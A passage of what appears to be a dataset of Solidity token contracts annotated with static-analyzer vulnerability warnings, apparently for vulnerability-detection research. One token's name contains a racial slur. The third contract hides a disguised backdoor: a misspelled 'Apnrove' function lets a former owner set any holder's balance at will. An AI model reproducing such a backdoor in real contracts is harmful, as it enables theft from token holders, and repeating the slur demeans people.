currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 8df8d16\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 8df8d16\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: b6e2b07\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract NiggaTrump is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5064dc5): NiggaTrump.uniswapV2Pair should be immutable \n\t// Recommendation for 5064dc5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b722bd9): NiggaTrump.deployerWallet should be immutable \n\t// Recommendation for b722bd9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 988a30d): NiggaTrump.marketingWallet should be immutable \n\t// Recommendation for 988a30d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 58bfec5): NiggaTrump._name shadows ERC20._name\n\t// Recommendation for 58bfec5: Remove the state variable shadowing.\n string private constant _name = \"Nigga Trump\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 9b5e950): NiggaTrump._symbol shadows ERC20._symbol\n\t// Recommendation for 9b5e950: Remove the state variable shadowing.\n string private constant _symbol = \"MNGA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ccf9b4f): NiggaTrump.initialTotalSupply should be constant \n\t// Recommendation for ccf9b4f: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 1000000 * 1e18;\n\n uint256 public maxTransactionAmount = 20000 * 1e18;\n\n uint256 public maxWallet = 20000 * 1e18;\n\n uint256 public swapTokensAtAmount = 10000 * 1e18;\n\n bool public tradingOpen = false;\n\n uint256 public BuyFee = 5;\n\n uint256 public SellFee = 15;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a35ed69): NiggaTrump.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for a35ed69: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: a35ed69\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(deployerWallet, initialTotalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6e2b07): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6e2b07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8df8d16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8df8d16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: b6e2b07\n\t\t\t// reentrancy-no-eth | ID: 8df8d16\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 8df8d16\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: b6e2b07\n\t\t\t\t// reentrancy-no-eth | ID: 8df8d16\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: b6e2b07\n\t\t// reentrancy-no-eth | ID: 8df8d16\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b6e2b07\n\t\t// reentrancy-no-eth | ID: 8df8d16\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: aeb270d): NiggaTrump.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for aeb270d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: aeb270d\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 7134aa9): NiggaTrump.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 7134aa9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 7134aa9\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ee6cf24): NiggaTrump.SetFees(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for ee6cf24: Emit an event for critical parameter changes.\n function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 20 && _sellFee <= 36, \"Fees cannot exceed 37%\");\n\n\t\t// events-maths | ID: ee6cf24\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: ee6cf24\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fb1105b): NiggaTrump.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for fb1105b: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: fb1105b\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_1003.sol",
"size_bytes": 28595,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract CryptoEdgeToken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2a7854): CryptoEdgeToken._totalSupply should be constant \n\t// Recommendation for c2a7854: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 1accf25): CryptoEdgeToken._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 1accf25: Remove the state variable shadowing.\n uint256 private _totalSupply = 420690000000 * 10 ** 18;\n\n constructor() ERC20(\"Crypto Edge\", \"EDGE\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10030.sol",
"size_bytes": 6803,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_tmtsoms(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Apnrove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSendere == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface 